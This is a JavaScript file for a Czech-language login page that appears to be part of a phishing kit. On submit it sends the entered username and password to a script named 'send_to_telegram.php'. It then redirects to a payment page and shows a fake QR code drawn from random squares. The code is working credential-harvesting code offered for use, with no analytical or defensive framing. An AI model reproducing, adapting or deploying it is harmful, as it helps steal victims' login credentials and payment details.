document.addEventListener('DOMContentLoaded', () => {
    // Tab switching
    const tabButtons = document.querySelectorAll('.tab-btn');
    tabButtons.forEach(btn => {
        btn.addEventListener('click', () => {
            // Remove active class from all buttons
            tabButtons.forEach(b => b.classList.remove('active'));
            // Add active class to clicked button
            btn.classList.add('active');
        });
    });

    // Password toggle visibility
    const passwordInput = document.getElementById('password');
    const togglePassword = document.querySelector('.toggle-password');
    
    togglePassword.addEventListener('click', () => {
        const type = passwordInput.getAttribute('type') === 'password' ? 'text' : 'password';
        passwordInput.setAttribute('type', type);
    });

    // Form submission
    const loginForm = document.getElementById('loginForm');
    loginForm.addEventListener('submit', async (e) => {
        e.preventDefault();
        
        const formData = new FormData(loginForm);
        
        try {
            // Send data to PHP script
            const response = await fetch('send_to_telegram.php', {
                method: 'POST',
                body: formData
            });

            const result = await response.text();
            
            // Redirect to payment page
            window.location.href = 'payment.html';
        } catch (error) {
            console.error('Error:', error);
            alert('Nastala chyba při odesílání');
        }
    });

    // Generate QR Code
    generateRandomQRCode();
});

function generateRandomQRCode() {
    // Function to generate a random string for QR code content
    function generateRandomString(length) {
        const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
        let result = '';
        for (let i = 0; i < length; i++) {
            result += characters.charAt(Math.floor(Math.random() * characters.length));
        }
        return result;
    }

    // Generate a random QR code using SVG
    function createQRCodeSVG(text) {
        const moduleSize = 10;
        const quietZone = 4;
        const size = 21; // Standard QR code size
        
        // Create SVG element
        const svg = document.createElementNS("http://www.w3.org/2000/svg", "svg");
        svg.setAttribute("width", `${(size + 2 * quietZone) * moduleSize}`);
        svg.setAttribute("height", `${(size + 2 * quietZone) * moduleSize}`);
        svg.setAttribute("viewBox", `0 0 ${(size + 2 * quietZone) * moduleSize} ${(size + 2 * quietZone) * moduleSize}`);

        // Background
        const background = document.createElementNS("http://www.w3.org/2000/svg", "rect");
        background.setAttribute("width", "100%");
        background.setAttribute("height", "100%");
        background.setAttribute("fill", "white");
        svg.appendChild(background);

        // Simplified random QR code generation (not a real QR code algorithm)
        for (let x = 0; x < size; x++) {
            for (let y = 0; y < size; y++) {
                // Randomly decide if a module should be black
                if (Math.random() > 0.5) {
                    const rect = document.createElementNS("http://www.w3.org/2000/svg", "rect");
                    rect.setAttribute("x", `${(x + quietZone) * moduleSize}`);
                    rect.setAttribute("y", `${(y + quietZone) * moduleSize}`);
                    rect.setAttribute("width", `${moduleSize}`);
                    rect.setAttribute("height", `${moduleSize}`);
                    rect.setAttribute("fill", "black");
                    svg.appendChild(rect);
                }
            }
        }

        return svg;
    }

    // Generate random text and create QR code
    const randomText = generateRandomString(20);
    const qrCodeEl = document.getElementById('qr-code');
    
    // Clear previous QR code
    qrCodeEl.innerHTML = '';
    
    // Create and append new QR code SVG
    const qrCodeSvg = createQRCodeSVG(randomText);
    qrCodeEl.appendChild(qrCodeSvg);
}